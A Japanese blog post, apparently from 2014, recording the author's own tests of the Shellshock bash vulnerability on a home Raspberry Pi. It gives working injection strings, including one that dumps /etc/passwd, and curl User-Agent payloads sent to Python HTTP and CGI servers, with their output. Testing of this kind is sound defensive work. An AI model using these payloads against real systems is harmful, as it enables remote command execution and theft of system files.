Bash脆弱性の検証 (RaspberryPI + Python SimpleHTTPServer, CGIHTTPServer)

bash脆弱性(CVE-2014-6271) #ShellShock の関連リンクをまとめてみた
http://d.hatena.ne.jp/Kango/20140925/1411612246

世の中は大変なことになっているようです。
地球やばいという話もw

とりあえずこの波に乗るため RaspberryPI で脆弱性の検証をしてみようと思います。


脆弱性が存在するか確認する

1.まずは脆弱性があるBashかどうか検証。

やっぱり駄目です。

2.環境変数のセットをしなくても動いてしまうようです。

root@raspberrypi ~ # x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a test

3.こんなコードも動いてしまうみたいですね

root@raspberrypi ~ # x='() { :;}; /bin/cat /etc/passwd' bash -c "echo this is a test"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
pi:x:1000:1000:,,,:/home/pi:/bin/bash
sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin
ntp:x:102:104::/home/ntp:/bin/false
statd:x:103:65534::/var/lib/nfs:/bin/false
messagebus:x:104:106::/var/run/dbus:/bin/false
usbmux:x:105:46:usbmux daemon,,,:/home/usbmux:/bin/false
lightdm:x:106:109:Light Display Manager:/var/lib/lightdm:/bin/false
motion:x:107:110::/home/motion:/bin/false
Segmentation fault
root@raspberrypi ~ #

脆弱性を利用できるか確認する

以下を参考に自宅のラズパイにちょっといたずらをしてみることに。

BASH脆弱性CGIスクリプトにアレさせてみました
http://www.walbrix.com/jp/blog/2014-09-bash-code-injection.html

1.Python SimpleHTTPServer

Apacheとかまったくインストールされていないので
Python SimpleHTTPServerをつかってテストしてみることに。
※参考;http://docs.python.jp/2/library/simplehttpserver.html

python -m SimpleHTTPServer 8000
root@raspberrypi ~ # curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://***.***.***.***:8000 -v
* About to connect() to ***.***.***.*** port 8000 (#0)
*   Trying ***.***.***.***...
* connected
* Connected to ***.***.***.*** (***.***.***.***) port 8000 (#0)
> GET / HTTP/1.1
> User-Agent: () { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd
> Host: ***.***.***.***:8000
> Accept: */*
>
* additional stuff not fine transfer.c:1037: 0 0
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Server: SimpleHTTP/0.6 Python/2.7.3
< Date: Sat, 27 Sep 2014 07:13:58 GMT
< Content-type: text/html; charset=UTF-8
< Content-Length: 786
<
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><html>
<title>Directory listing for /</title>
<body>
<h2>Directory listing for /</h2>
<hr>
<ul>
<li><a href=".bash_history">.bash_history</a>
<li><a href=".bashrc">.bashrc</a>
<li><a href=".bashrc.bak">.bashrc.bak</a>
<li><a href=".cache/">.cache/</a>
<li><a href=".config/">.config/</a>
<li><a href=".dbus/">.dbus/</a>
<li><a href=".emacs.d/">.emacs.d/</a>
<li><a href=".gvfs/">.gvfs/</a>
<li><a href=".netsurf/">.netsurf/</a>
<li><a href=".profile">.profile</a>
<li><a href=".pulse/">.pulse/</a>
<li><a href=".pulse-cookie">.pulse-cookie</a>
<li><a href=".vnc/">.vnc/</a>
<li><a href=".Xauthority">.Xauthority</a>
<li><a href=".xsession-errors">.xsession-errors</a>
<li><a href="Desktop/">Desktop/</a>
</ul>
<hr>
</body>
</html>
* Closing connection #0
root@raspberrypi ~ #

お、何にも起きない。
Python SimpleHttpServerでは問題は起きないようです。

2.Python CGIHTTPServer

PythonCGIをテストするには CGIHTTPServer を使うようです。

python -m CGIHTTPServer 8001

以下のファイルをcgi-binフォルダにbashbash.shとして入れて試してみます

#!/bin/sh
echo "Content-type: text/plain"
echo
echo "Hi! I'm an ordinary CGI script which is executed by /bin/sh"
pi@raspberrypi ~ $ curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/date" http://***.***.***.***:8001/cgi-bin/bashbash.sh -v
* About to connect() to ***.***.***.*** port 8001 (#0)
*   Trying ***.***.***.***...
* connected
* Connected to ***.***.***.*** (***.***.***.***) port 8001 (#0)
> GET /cgi-bin/bashbash.sh HTTP/1.1
> User-Agent: () { :;}; echo Content-type:text/plain;echo;/bin/date
> Host: 1***.***.***.***:8001
> Accept: */*
>
* additional stuff not fine transfer.c:1037: 0 0
* HTTP 1.0, assume close after body
< HTTP/1.0 200 Script output follows
< Server: SimpleHTTP/0.6 Python/2.7.3
< Date: Sat, 27 Sep 2014 08:22:08 GMT
< Content-type: text/plain
<
Hi! I'm an ordinary CGI script which is executed by /bin/sh
* nread <= 0, server closed connection, bailing
* Closing connection #0


Python CGIHTTPServer でも問題は起きないようです。